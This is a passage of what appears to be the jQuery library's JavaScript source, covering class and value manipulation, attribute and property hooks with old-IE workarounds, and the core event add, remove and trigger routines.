  2072. try {
  2073. this[ name ] = undefined;
  2074. delete this[ name ];
  2075. } catch( e ) {}
  2076. });
  2077. },
  2078.  
  2079. addClass: function( value ) {
  2080. var classes, elem, cur, clazz, j,
  2081. i = 0,
  2082. len = this.length,
  2083. proceed = typeof value === "string" && value;
  2084.  
  2085. if ( jQuery.isFunction( value ) ) {
  2086. return this.each(function( j ) {
  2087. jQuery( this ).addClass( value.call( this, j, this.className ) );
  2088. });
  2089. }
  2090.  
  2091. if ( proceed ) {
  2092. // The disjunction here is for better compressibility (see removeClass)
  2093. classes = ( value || "" ).match( core_rnotwhite ) || [];
  2094.  
  2095. for ( ; i < len; i++ ) {
  2096. elem = this[ i ];
  2097. cur = elem.nodeType === 1 && ( elem.className ?
  2098. ( " " + elem.className + " " ).replace( rclass, " " ) :
  2099. " "
  2100. );
  2101.  
  2102. if ( cur ) {
  2103. j = 0;
  2104. while ( (clazz = classes[j++]) ) {
  2105. if ( cur.indexOf( " " + clazz + " " ) < 0 ) {
  2106. cur += clazz + " ";
  2107. }
  2108. }
  2109. elem.className = jQuery.trim( cur );
  2110.  
  2111. }
  2112. }
  2113. }
  2114.  
  2115. return this;
  2116. },
  2117.  
  2118. removeClass: function( value ) {
  2119. var classes, elem, cur, clazz, j,
  2120. i = 0,
  2121. len = this.length,
  2122. proceed = arguments.length === 0 || typeof value === "string" && value;
  2123.  
  2124. if ( jQuery.isFunction( value ) ) {
  2125. return this.each(function( j ) {
  2126. jQuery( this ).removeClass( value.call( this, j, this.className ) );
  2127. });
  2128. }
  2129. if ( proceed ) {
  2130. classes = ( value || "" ).match( core_rnotwhite ) || [];
  2131.  
  2132. for ( ; i < len; i++ ) {
  2133. elem = this[ i ];
  2134. // This expression is here for better compressibility (see addClass)
  2135. cur = elem.nodeType === 1 && ( elem.className ?
  2136. ( " " + elem.className + " " ).replace( rclass, " " ) :
  2137. ""
  2138. );
  2139.  
  2140. if ( cur ) {
  2141. j = 0;
  2142. while ( (clazz = classes[j++]) ) {
  2143. // Remove *all* instances
  2144. while ( cur.indexOf( " " + clazz + " " ) >= 0 ) {
  2145. cur = cur.replace( " " + clazz + " ", " " );
  2146. }
  2147. }
  2148. elem.className = value ? jQuery.trim( cur ) : "";
  2149. }
  2150. }
  2151. }
  2152.  
  2153. return this;
  2154. },
  2155.  
  2156. toggleClass: function( value, stateVal ) {
  2157. var type = typeof value,
  2158. isBool = typeof stateVal === "boolean";
  2159.  
  2160. if ( jQuery.isFunction( value ) ) {
  2161. return this.each(function( i ) {
  2162. jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal );
  2163. });
  2164. }
  2165.  
  2166. return this.each(function() {
  2167. if ( type === "string" ) {
  2168. // toggle individual class names
  2169. var className,
  2170. i = 0,
  2171. self = jQuery( this ),
  2172. state = stateVal,
  2173. classNames = value.match( core_rnotwhite ) || [];
  2174.  
  2175. while ( (className = classNames[ i++ ]) ) {
  2176. // check each className given, space separated list
  2177. state = isBool ? state : !self.hasClass( className );
  2178. self[ state ? "addClass" : "removeClass" ]( className );
  2179. }
  2180.  
  2181. // Toggle whole class name
  2182. } else if ( type === core_strundefined || type === "boolean" ) {
  2183. if ( this.className ) {
  2184. // store className if set
  2185. jQuery._data( this, "__className__", this.className );
  2186. }
  2187.  
  2188. // If the element has a class name or if we're passed "false",
  2189. // then remove the whole classname (if there was one, the above saved it).
  2190. // Otherwise bring back whatever was previously saved (if anything),
  2191. // falling back to the empty string if nothing was stored.
  2192. this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || "";
  2193. }
  2194. });
  2195. },
  2196.  
  2197. hasClass: function( selector ) {
  2198. var className = " " + selector + " ",
  2199. i = 0,
  2200. l = this.length;
  2201. for ( ; i < l; i++ ) {
  2202. if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) >= 0 ) {
  2203. return true;
  2204. }
  2205. }
  2206.  
  2207. return false;
  2208. },
  2209.  
  2210. val: function( value ) {
  2211. var ret, hooks, isFunction,
  2212. elem = this[0];
  2213.  
  2214. if ( !arguments.length ) {
  2215. if ( elem ) {
  2216. hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ];
  2217.  
  2218. if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) {
  2219. return ret;
  2220. }
  2221.  
  2222. ret = elem.value;
  2223.  
  2224. return typeof ret === "string" ?
  2225. // handle most common string cases
  2226. ret.replace(rreturn, "") :
  2227. // handle cases where value is null/undef or number
  2228. ret == null ? "" : ret;
  2229. }
  2230.  
  2231. return;
  2232. }
  2233.  
  2234. isFunction = jQuery.isFunction( value );
  2235.  
  2236. return this.each(function( i ) {
  2237. var val,
  2238. self = jQuery(this);
  2239.  
  2240. if ( this.nodeType !== 1 ) {
  2241. return;
  2242. }
  2243.  
  2244. if ( isFunction ) {
  2245. val = value.call( this, i, self.val() );
  2246. } else {
  2247. val = value;
  2248. }
  2249.  
  2250. // Treat null/undefined as ""; convert numbers to string
  2251. if ( val == null ) {
  2252. val = "";
  2253. } else if ( typeof val === "number" ) {
  2254. val += "";
  2255. } else if ( jQuery.isArray( val ) ) {
  2256. val = jQuery.map(val, function ( value ) {
  2257. return value == null ? "" : value + "";
  2258. });
  2259. }
  2260.  
  2261. hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];
  2262.  
  2263. // If set returns undefined, fall back to normal setting
  2264. if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) {
  2265. this.value = val;
  2266. }
  2267. });
  2268. }
  2269. });
  2270.  
  2271. jQuery.extend({
  2272. valHooks: {
  2273. option: {
  2274. get: function( elem ) {
  2275. // attributes.value is undefined in Blackberry 4.7 but
  2276. // uses .value. See #6932
  2277. var val = elem.attributes.value;
  2278. return !val || val.specified ? elem.value : elem.text;
  2279. }
  2280. },
  2281. select: {
  2282. get: function( elem ) {
  2283. var value, option,
  2284. options = elem.options,
  2285. index = elem.selectedIndex,
  2286. one = elem.type === "select-one" || index < 0,
  2287. values = one ? null : [],
  2288. max = one ? index + 1 : options.length,
  2289. i = index < 0 ?
  2290. max :
  2291. one ? index : 0;
  2292.  
  2293. // Loop through all the selected options
  2294. for ( ; i < max; i++ ) {
  2295. option = options[ i ];
  2296.  
  2297. // oldIE doesn't update selected after form reset (#2551)
  2298. if ( ( option.selected || i === index ) &&
  2299. // Don't return options that are disabled or in a disabled optgroup
  2300. ( jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null ) &&
  2301. ( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) {
  2302.  
  2303. // Get the specific value for the option
  2304. value = jQuery( option ).val();
  2305.  
  2306. // We don't need an array for one selects
  2307. if ( one ) {
  2308. return value;
  2309. }
  2310.  
  2311. // Multi-Selects return an array
  2312. values.push( value );
  2313. }
  2314. }
  2315.  
  2316. return values;
  2317. },
  2318.  
  2319. set: function( elem, value ) {
  2320. var values = jQuery.makeArray( value );
  2321.  
  2322. jQuery(elem).find("option").each(function() {
  2323. this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0;
  2324. });
  2325.  
  2326. if ( !values.length ) {
  2327. elem.selectedIndex = -1;
  2328. }
  2329. return values;
  2330. }
  2331. }
  2332. },
  2333.  
  2334. attr: function( elem, name, value ) {
  2335. var hooks, notxml, ret,
  2336. nType = elem.nodeType;
  2337.  
  2338. // don't get/set attributes on text, comment and attribute nodes
  2339. if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
  2340. return;
  2341. }
  2342.  
  2343. // Fallback to prop when attributes are not supported
  2344. if ( typeof elem.getAttribute === core_strundefined ) {
  2345. return jQuery.prop( elem, name, value );
  2346. }
  2347.  
  2348. notxml = nType !== 1 || !jQuery.isXMLDoc( elem );
  2349.  
  2350. // All attributes are lowercase
  2351. // Grab necessary hook if one is defined
  2352. if ( notxml ) {
  2353. name = name.toLowerCase();
  2354. hooks = jQuery.attrHooks[ name ] || ( rboolean.test( name ) ? boolHook : nodeHook );
  2355. }
  2356.  
  2357. if ( value !== undefined ) {
  2358.  
  2359. if ( value === null ) {
  2360. jQuery.removeAttr( elem, name );
  2361.  
  2362. } else if ( hooks && notxml && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {
  2363. return ret;
  2364.  
  2365. } else {
  2366. elem.setAttribute( name, value + "" );
  2367. return value;
  2368. }
  2369.  
  2370. } else if ( hooks && notxml && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) {
  2371. return ret;
  2372.  
  2373. } else {
  2374.  
  2375. // In IE9+, Flash objects don't have .getAttribute (#12945)
  2376. // Support: IE9+
  2377. if ( typeof elem.getAttribute !== core_strundefined ) {
  2378. ret = elem.getAttribute( name );
  2379. }
  2380.  
  2381. // Non-existent attributes return null, we normalize to undefined
  2382. return ret == null ?
  2383. undefined :
  2384. ret;
  2385. }
  2386. },
  2387.  
  2388. removeAttr: function( elem, value ) {
  2389. var name, propName,
  2390. i = 0,
  2391. attrNames = value && value.match( core_rnotwhite );
  2392.  
  2393. if ( attrNames && elem.nodeType === 1 ) {
  2394. while ( (name = attrNames[i++]) ) {
  2395. propName = jQuery.propFix[ name ] || name;
  2396.  
  2397. // Boolean attributes get special treatment (#10870)
  2398. if ( rboolean.test( name ) ) {
  2399. // Set corresponding property to false for boolean attributes
  2400. // Also clear defaultChecked/defaultSelected (if appropriate) for IE<8
  2401. if ( !getSetAttribute && ruseDefault.test( name ) ) {
  2402. elem[ jQuery.camelCase( "default-" + name ) ] =
  2403. elem[ propName ] = false;
  2404. } else {
  2405. elem[ propName ] = false;
  2406. }
  2407.  
  2408. // See #9699 for explanation of this approach (setting first, then removal)
  2409. } else {
  2410. jQuery.attr( elem, name, "" );
  2411. }
  2412.  
  2413. elem.removeAttribute( getSetAttribute ? name : propName );
  2414. }
  2415. }
  2416. },
  2417.  
  2418. attrHooks: {
  2419. type: {
  2420. set: function( elem, value ) {
  2421. if ( !jQuery.support.radioValue && value === "radio" && jQuery.nodeName(elem, "input") ) {
  2422. // Setting the type on a radio button after the value resets the value in IE6-9
  2423. // Reset value to default in case type is set after value during creation
  2424. var val = elem.value;
  2425. elem.setAttribute( "type", value );
  2426. if ( val ) {
  2427. elem.value = val;
  2428. }
  2429. return value;
  2430. }
  2431. }
  2432. }
  2433. },
  2434.  
  2435. propFix: {
  2436. tabindex: "tabIndex",
  2437. readonly: "readOnly",
  2438. "for": "htmlFor",
  2439. "class": "className",
  2440. maxlength: "maxLength",
  2441. cellspacing: "cellSpacing",
  2442. cellpadding: "cellPadding",
  2443. rowspan: "rowSpan",
  2444. colspan: "colSpan",
  2445. usemap: "useMap",
  2446. frameborder: "frameBorder",
  2447. contenteditable: "contentEditable"
  2448. },
  2449.  
  2450. prop: function( elem, name, value ) {
  2451. var ret, hooks, notxml,
  2452. nType = elem.nodeType;
  2453.  
  2454. // don't get/set properties on text, comment and attribute nodes
  2455. if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
  2456. return;
  2457. }
  2458.  
  2459. notxml = nType !== 1 || !jQuery.isXMLDoc( elem );
  2460.  
  2461. if ( notxml ) {
  2462. // Fix name and attach hooks
  2463. name = jQuery.propFix[ name ] || name;
  2464. hooks = jQuery.propHooks[ name ];
  2465. }
  2466.  
  2467. if ( value !== undefined ) {
  2468. if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {
  2469. return ret;
  2470.  
  2471. } else {
  2472. return ( elem[ name ] = value );
  2473. }
  2474.  
  2475. } else {
  2476. if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) {
  2477. return ret;
  2478.  
  2479. } else {
  2480. return elem[ name ];
  2481. }
  2482. }
  2483. },
  2484.  
  2485. propHooks: {
  2486. tabIndex: {
  2487. get: function( elem ) {
  2488. // elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set
  2489. // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/
  2490. var attributeNode = elem.getAttributeNode("tabindex");
  2491.  
  2492. return attributeNode && attributeNode.specified ?
  2493. parseInt( attributeNode.value, 10 ) :
  2494. rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ?
  2495. 0 :
  2496. undefined;
  2497. }
  2498. }
  2499. }
  2500. });
  2501.  
  2502. // Hook for boolean attributes
  2503. boolHook = {
  2504. get: function( elem, name ) {
  2505. var
  2506. // Use .prop to determine if this attribute is understood as boolean
  2507. prop = jQuery.prop( elem, name ),
  2508.  
  2509. // Fetch it accordingly
  2510. attr = typeof prop === "boolean" && elem.getAttribute( name ),
  2511. detail = typeof prop === "boolean" ?
  2512.  
  2513. getSetInput && getSetAttribute ?
  2514. attr != null :
  2515. // oldIE fabricates an empty string for missing boolean attributes
  2516. // and conflates checked/selected into attroperties
  2517. ruseDefault.test( name ) ?
  2518. elem[ jQuery.camelCase( "default-" + name ) ] :
  2519. !!attr :
  2520.  
  2521. // fetch an attribute node for properties not recognized as boolean
  2522. elem.getAttributeNode( name );
  2523.  
  2524. return detail && detail.value !== false ?
  2525. name.toLowerCase() :
  2526. undefined;
  2527. },
  2528. set: function( elem, value, name ) {
  2529. if ( value === false ) {
  2530. // Remove boolean attributes when set to false
  2531. jQuery.removeAttr( elem, name );
  2532. } else if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) {
  2533. // IE<8 needs the *property* name
  2534. elem.setAttribute( !getSetAttribute && jQuery.propFix[ name ] || name, name );
  2535.  
  2536. // Use defaultChecked and defaultSelected for oldIE
  2537. } else {
  2538. elem[ jQuery.camelCase( "default-" + name ) ] = elem[ name ] = true;
  2539. }
  2540.  
  2541. return name;
  2542. }
  2543. };
  2544.  
  2545. // fix oldIE value attroperty
  2546. if ( !getSetInput || !getSetAttribute ) {
  2547. jQuery.attrHooks.value = {
  2548. get: function( elem, name ) {
  2549. var ret = elem.getAttributeNode( name );
  2550. return jQuery.nodeName( elem, "input" ) ?
  2551.  
  2552. // Ignore the value *property* by using defaultValue
  2553. elem.defaultValue :
  2554.  
  2555. ret && ret.specified ? ret.value : undefined;
  2556. },
  2557. set: function( elem, value, name ) {
  2558. if ( jQuery.nodeName( elem, "input" ) ) {
  2559. // Does not return so that setAttribute is also used
  2560. elem.defaultValue = value;
  2561. } else {
  2562. // Use nodeHook if defined (#1954); otherwise setAttribute is fine
  2563. return nodeHook && nodeHook.set( elem, value, name );
  2564. }
  2565. }
  2566. };
  2567. }
  2568.  
  2569. // IE6/7 do not support getting/setting some attributes with get/setAttribute
  2570. if ( !getSetAttribute ) {
  2571.  
  2572. // Use this for any attribute in IE6/7
  2573. // This fixes almost every IE6/7 issue
  2574. nodeHook = jQuery.valHooks.button = {
  2575. get: function( elem, name ) {
  2576. var ret = elem.getAttributeNode( name );
  2577. return ret && ( name === "id" || name === "name" || name === "coords" ? ret.value !== "" : ret.specified ) ?
  2578. ret.value :
  2579. undefined;
  2580. },
  2581. set: function( elem, value, name ) {
  2582. // Set the existing or create a new attribute node
  2583. var ret = elem.getAttributeNode( name );
  2584. if ( !ret ) {
  2585. elem.setAttributeNode(
  2586. (ret = elem.ownerDocument.createAttribute( name ))
  2587. );
  2588. }
  2589.  
  2590. ret.value = value += "";
  2591.  
  2592. // Break association with cloned elements by also using setAttribute (#9646)
  2593. return name === "value" || value === elem.getAttribute( name ) ?
  2594. value :
  2595. undefined;
  2596. }
  2597. };
  2598.  
  2599. // Set contenteditable to false on removals(#10429)
  2600. // Setting to empty string throws an error as an invalid value
  2601. jQuery.attrHooks.contenteditable = {
  2602. get: nodeHook.get,
  2603. set: function( elem, value, name ) {
  2604. nodeHook.set( elem, value === "" ? false : value, name );
  2605. }
  2606. };
  2607.  
  2608. // Set width and height to auto instead of 0 on empty string( Bug #8150 )
  2609. // This is for removals
  2610. jQuery.each([ "width", "height" ], function( i, name ) {
  2611. jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {
  2612. set: function( elem, value ) {
  2613. if ( value === "" ) {
  2614. elem.setAttribute( name, "auto" );
  2615. return value;
  2616. }
  2617. }
  2618. });
  2619. });
  2620. }
  2621.  
  2622.  
  2623. // Some attributes require a special call on IE
  2624. // http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
  2625. if ( !jQuery.support.hrefNormalized ) {
  2626. jQuery.each([ "href", "src", "width", "height" ], function( i, name ) {
  2627. jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {
  2628. get: function( elem ) {
  2629. var ret = elem.getAttribute( name, 2 );
  2630. return ret == null ? undefined : ret;
  2631. }
  2632. });
  2633. });
  2634.  
  2635. // href/src property should get the full normalized URL (#10299/#12915)
  2636. jQuery.each([ "href", "src" ], function( i, name ) {
  2637. jQuery.propHooks[ name ] = {
  2638. get: function( elem ) {
  2639. return elem.getAttribute( name, 4 );
  2640. }
  2641. };
  2642. });
  2643. }
  2644.  
  2645. if ( !jQuery.support.style ) {
  2646. jQuery.attrHooks.style = {
  2647. get: function( elem ) {
  2648. // Return undefined in the case of empty string
  2649. // Note: IE uppercases css property names, but if we were to .toLowerCase()
  2650. // .cssText, that would destroy case senstitivity in URL's, like in "background"
  2651. return elem.style.cssText || undefined;
  2652. },
  2653. set: function( elem, value ) {
  2654. return ( elem.style.cssText = value + "" );
  2655. }
  2656. };
  2657. }
  2658.  
  2659. // Safari mis-reports the default selected property of an option
  2660. // Accessing the parent's selectedIndex property fixes it
  2661. if ( !jQuery.support.optSelected ) {
  2662. jQuery.propHooks.selected = jQuery.extend( jQuery.propHooks.selected, {
  2663. get: function( elem ) {
  2664. var parent = elem.parentNode;
  2665.  
  2666. if ( parent ) {
  2667. parent.selectedIndex;
  2668.  
  2669. // Make sure that it also works with optgroups, see #5701
  2670. if ( parent.parentNode ) {
  2671. parent.parentNode.selectedIndex;
  2672. }
  2673. }
  2674. return null;
  2675. }
  2676. });
  2677. }
  2678.  
  2679. // IE6/7 call enctype encoding
  2680. if ( !jQuery.support.enctype ) {
  2681. jQuery.propFix.enctype = "encoding";
  2682. }
  2683.  
  2684. // Radios and checkboxes getter/setter
  2685. if ( !jQuery.support.checkOn ) {
  2686. jQuery.each([ "radio", "checkbox" ], function() {
  2687. jQuery.valHooks[ this ] = {
  2688. get: function( elem ) {
  2689. // Handle the case where in Webkit "" is returned instead of "on" if a value isn't specified
  2690. return elem.getAttribute("value") === null ? "on" : elem.value;
  2691. }
  2692. };
  2693. });
  2694. }
  2695. jQuery.each([ "radio", "checkbox" ], function() {
  2696. jQuery.valHooks[ this ] = jQuery.extend( jQuery.valHooks[ this ], {
  2697. set: function( elem, value ) {
  2698. if ( jQuery.isArray( value ) ) {
  2699. return ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 );
  2700. }
  2701. }
  2702. });
  2703. });
  2704. var rformElems = /^(?:input|select|textarea)$/i,
  2705. rkeyEvent = /^key/,
  2706. rmouseEvent = /^(?:mouse|contextmenu)|click/,
  2707. rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
  2708. rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
  2709.  
  2710. function returnTrue() {
  2711. return true;
  2712. }
  2713.  
  2714. function returnFalse() {
  2715. return false;
  2716. }
  2717.  
  2718. /*
  2719. * Helper functions for managing events -- not part of the public interface.
  2720. * Props to Dean Edwards' addEvent library for many of the ideas.
  2721. */
  2722. jQuery.event = {
  2723.  
  2724. global: {},
  2725.  
  2726. add: function( elem, types, handler, data, selector ) {
  2727. var tmp, events, t, handleObjIn,
  2728. special, eventHandle, handleObj,
  2729. handlers, type, namespaces, origType,
  2730. elemData = jQuery._data( elem );
  2731.  
  2732. // Don't attach events to noData or text/comment nodes (but allow plain objects)
  2733. if ( !elemData ) {
  2734. return;
  2735. }
  2736.  
  2737. // Caller can pass in an object of custom data in lieu of the handler
  2738. if ( handler.handler ) {
  2739. handleObjIn = handler;
  2740. handler = handleObjIn.handler;
  2741. selector = handleObjIn.selector;
  2742. }
  2743.  
  2744. // Make sure that the handler has a unique ID, used to find/remove it later
  2745. if ( !handler.guid ) {
  2746. handler.guid = jQuery.guid++;
  2747. }
  2748.  
  2749. // Init the element's event structure and main handler, if this is the first
  2750. if ( !(events = elemData.events) ) {
  2751. events = elemData.events = {};
  2752. }
  2753. if ( !(eventHandle = elemData.handle) ) {
  2754. eventHandle = elemData.handle = function( e ) {
  2755. // Discard the second event of a jQuery.event.trigger() and
  2756. // when an event is called after a page has unloaded
  2757. return typeof jQuery !== core_strundefined && (!e || jQuery.event.triggered !== e.type) ?
  2758. jQuery.event.dispatch.apply( eventHandle.elem, arguments ) :
  2759. undefined;
  2760. };
  2761. // Add elem as a property of the handle fn to prevent a memory leak with IE non-native events
  2762. eventHandle.elem = elem;
  2763. }
  2764.  
  2765. // Handle multiple events separated by a space
  2766. // jQuery(...).bind("mouseover mouseout", fn);
  2767. types = ( types || "" ).match( core_rnotwhite ) || [""];
  2768. t = types.length;
  2769. while ( t-- ) {
  2770. tmp = rtypenamespace.exec( types[t] ) || [];
  2771. type = origType = tmp[1];
  2772. namespaces = ( tmp[2] || "" ).split( "." ).sort();
  2773.  
  2774. // If event changes its type, use the special event handlers for the changed type
  2775. special = jQuery.event.special[ type ] || {};
  2776.  
  2777. // If selector defined, determine special event api type, otherwise given type
  2778. type = ( selector ? special.delegateType : special.bindType ) || type;
  2779.  
  2780. // Update special based on newly reset type
  2781. special = jQuery.event.special[ type ] || {};
  2782.  
  2783. // handleObj is passed to all event handlers
  2784. handleObj = jQuery.extend({
  2785. type: type,
  2786. origType: origType,
  2787. data: data,
  2788. handler: handler,
  2789. guid: handler.guid,
  2790. selector: selector,
  2791. needsContext: selector && jQuery.expr.match.needsContext.test( selector ),
  2792. namespace: namespaces.join(".")
  2793. }, handleObjIn );
  2794.  
  2795. // Init the event handler queue if we're the first
  2796. if ( !(handlers = events[ type ]) ) {
  2797. handlers = events[ type ] = [];
  2798. handlers.delegateCount = 0;
  2799.  
  2800. // Only use addEventListener/attachEvent if the special events handler returns false
  2801. if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
  2802. // Bind the global event handler to the element
  2803. if ( elem.addEventListener ) {
  2804. elem.addEventListener( type, eventHandle, false );
  2805.  
  2806. } else if ( elem.attachEvent ) {
  2807. elem.attachEvent( "on" + type, eventHandle );
  2808. }
  2809. }
  2810. }
  2811.  
  2812. if ( special.add ) {
  2813. special.add.call( elem, handleObj );
  2814.  
  2815. if ( !handleObj.handler.guid ) {
  2816. handleObj.handler.guid = handler.guid;
  2817. }
  2818. }
  2819.  
  2820. // Add to the element's handler list, delegates in front
  2821. if ( selector ) {
  2822. handlers.splice( handlers.delegateCount++, 0, handleObj );
  2823. } else {
  2824. handlers.push( handleObj );
  2825. }
  2826.  
  2827. // Keep track of which events have ever been used, for event optimization
  2828. jQuery.event.global[ type ] = true;
  2829. }
  2830.  
  2831. // Nullify elem to prevent memory leaks in IE
  2832. elem = null;
  2833. },
  2834.  
  2835. // Detach an event or set of events from an element
  2836. remove: function( elem, types, handler, selector, mappedTypes ) {
  2837. var j, handleObj, tmp,
  2838. origCount, t, events,
  2839. special, handlers, type,
  2840. namespaces, origType,
  2841. elemData = jQuery.hasData( elem ) && jQuery._data( elem );
  2842.  
  2843. if ( !elemData || !(events = elemData.events) ) {
  2844. return;
  2845. }
  2846.  
  2847. // Once for each type.namespace in types; type may be omitted
  2848. types = ( types || "" ).match( core_rnotwhite ) || [""];
  2849. t = types.length;
  2850. while ( t-- ) {
  2851. tmp = rtypenamespace.exec( types[t] ) || [];
  2852. type = origType = tmp[1];
  2853. namespaces = ( tmp[2] || "" ).split( "." ).sort();
  2854.  
  2855. // Unbind all events (on this namespace, if provided) for the element
  2856. if ( !type ) {
  2857. for ( type in events ) {
  2858. jQuery.event.remove( elem, type + types[ t ], handler, selector, true );
  2859. }
  2860. continue;
  2861. }
  2862.  
  2863. special = jQuery.event.special[ type ] || {};
  2864. type = ( selector ? special.delegateType : special.bindType ) || type;
  2865. handlers = events[ type ] || [];
  2866. tmp = tmp[2] && new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" );
  2867.  
  2868. // Remove matching events
  2869. origCount = j = handlers.length;
  2870. while ( j-- ) {
  2871. handleObj = handlers[ j ];
  2872.  
  2873. if ( ( mappedTypes || origType === handleObj.origType ) &&
  2874. ( !handler || handler.guid === handleObj.guid ) &&
  2875. ( !tmp || tmp.test( handleObj.namespace ) ) &&
  2876. ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) {
  2877. handlers.splice( j, 1 );
  2878.  
  2879. if ( handleObj.selector ) {
  2880. handlers.delegateCount--;
  2881. }
  2882. if ( special.remove ) {
  2883. special.remove.call( elem, handleObj );
  2884. }
  2885. }
  2886. }
  2887.  
  2888. // Remove generic event handler if we removed something and no more handlers exist
  2889. // (avoids potential for endless recursion during removal of special event handlers)
  2890. if ( origCount && !handlers.length ) {
  2891. if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) {
  2892. jQuery.removeEvent( elem, type, elemData.handle );
  2893. }
  2894.  
  2895. delete events[ type ];
  2896. }
  2897. }
  2898.  
  2899. // Remove the expando if it's no longer used
  2900. if ( jQuery.isEmptyObject( events ) ) {
  2901. delete elemData.handle;
  2902.  
  2903. // removeData also checks for emptiness and clears the expando if empty
  2904. // so use it instead of delete
  2905. jQuery._removeData( elem, "events" );
  2906. }
  2907. },
  2908.  
  2909. trigger: function( event, data, elem, onlyHandlers ) {
  2910. var handle, ontype, cur,
  2911. bubbleType, special, tmp, i,
  2912. eventPath = [ elem || document ],
  2913. type = core_hasOwn.call( event, "type" ) ? event.type : event,
  2914. namespaces = core_hasOwn.call( event, "namespace" ) ? event.namespace.split(".") : [];
  2915.  
  2916. cur = tmp = elem = elem || document;
  2917.  
  2918. // Don't do events on text and comment nodes
  2919. if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
  2920. return;
  2921. }
  2922.  
  2923. // focus/blur morphs to focusin/out; ensure we're not firing them right now
  2924. if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
  2925. return;
  2926. }
  2927.  
  2928. if ( type.indexOf(".") >= 0 ) {
  2929. // Namespaced trigger; create a regexp to match event type in handle()
  2930. namespaces = type.split(".");
  2931. type = namespaces.shift();
  2932. namespaces.sort();
  2933. }
  2934. ontype = type.indexOf(":") < 0 && "on" + type;
  2935.  
  2936. // Caller can pass in a jQuery.Event object, Object, or just an event type string
  2937. event = event[ jQuery.expando ] ?
  2938. event :
  2939. new jQuery.Event( type, typeof event === "object" && event );
  2940.  
  2941. event.isTrigger = true;
  2942. event.namespace = namespaces.join(".");
  2943. event.namespace_re = event.namespace ?
  2944. new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ) :
  2945. null;
  2946.  
  2947. // Clean up the event in case it is being reused
  2948. event.result = undefined;
  2949. if ( !event.target ) {
  2950. event.target = elem;
  2951. }
  2952.  
  2953. // Clone any incoming data and prepend the event, creating the handler arg list
  2954. data = data == null ?
  2955. [ event ] :
  2956. jQuery.makeArray( data, [ event ] );
  2957.  
  2958. // Allow special events to draw outside the lines
  2959. special = jQuery.event.special[ type ] || {};
  2960. if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {
  2961. return;
  2962. }
  2963.  
  2964. // Determine event propagation path in advance, per W3C events spec (#9951)
  2965. // Bubble up to document, then to window; watch for a global ownerDocument var (#9724)
  2966. if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) {
  2967.  
  2968. bubbleType = special.delegateType || type;
  2969. if ( !rfocusMorph.test( bubbleType + type ) ) {
  2970. cur = cur.parentNode;
  2971. }
  2972. for ( ; cur; cur = cur.parentNode ) {
  2973. eventPath.push( cur );
  2974. tmp = cur;
  2975. }
  2976.  
  2977. // Only add window if we got to document (e.g., not plain obj or detached DOM)
  2978. if ( tmp === (elem.ownerDocument || document) ) {
  2979. eventPath.push( tmp.defaultView || tmp.parentWindow || window );
  2980. }
  2981. }
  2982.  
  2983. // Fire handlers on the event path
  2984. i = 0;
  2985. while ( (cur = eventPath[i++]) && !event.isPropagationStopped() ) {
  2986.  
  2987. event.type = i > 1 ?
  2988. bubbleType :
  2989. special.bindType || type;
  2990.  
  2991. // jQuery handler
  2992. handle = ( jQuery._data( cur, "events" ) || {} )[ event.type ] && jQuery._data( cur, "handle" );
  2993. if ( handle ) {
  2994. handle.apply( cur, data );
  2995. }
  2996.  
  2997. // Native handler
  2998. handle = ontype && cur[ ontype ];
  2999. if ( handle && jQuery.acceptData( cur ) && handle.apply && handle.apply( cur, data ) === false ) {
  3000. event.preventDefault();
  3001. }
  3002. }
  3003. event.type = type;
  3004.  
  3005. // If nobody prevented the default action, do it now
  3006. if ( !onlyHandlers && !event.isDefaultPrevented() ) {
  3007.  
  3008. if ( (!special._default || special._default.apply( elem.ownerDocument, data ) === false) &&
  3009. !(type === "click" && jQuery.nodeName( elem, "a" )) && jQuery.acceptData( elem ) ) {
  3010.  
  3011. // Call a native DOM method on the target with the same name name as the event.
  3012. // Can't use an .isFunction() check here because IE6/7 fails that test.
  3013. // Don't do default actions on window, that's where global variables be (#6170)
  3014. if ( ontype && elem[ type ] && !jQuery.isWindow( elem ) ) {
  3015.  
  3016. // Don't re-trigger an onFOO event when we call its FOO() method
  3017. tmp = elem[ ontype ];
  3018.  
  3019. if ( tmp ) {
  3020. elem[ ontype ] = null;
  3021. }
  3022.  
  3023. // Prevent re-triggering of the same event, since we already bubbled it above
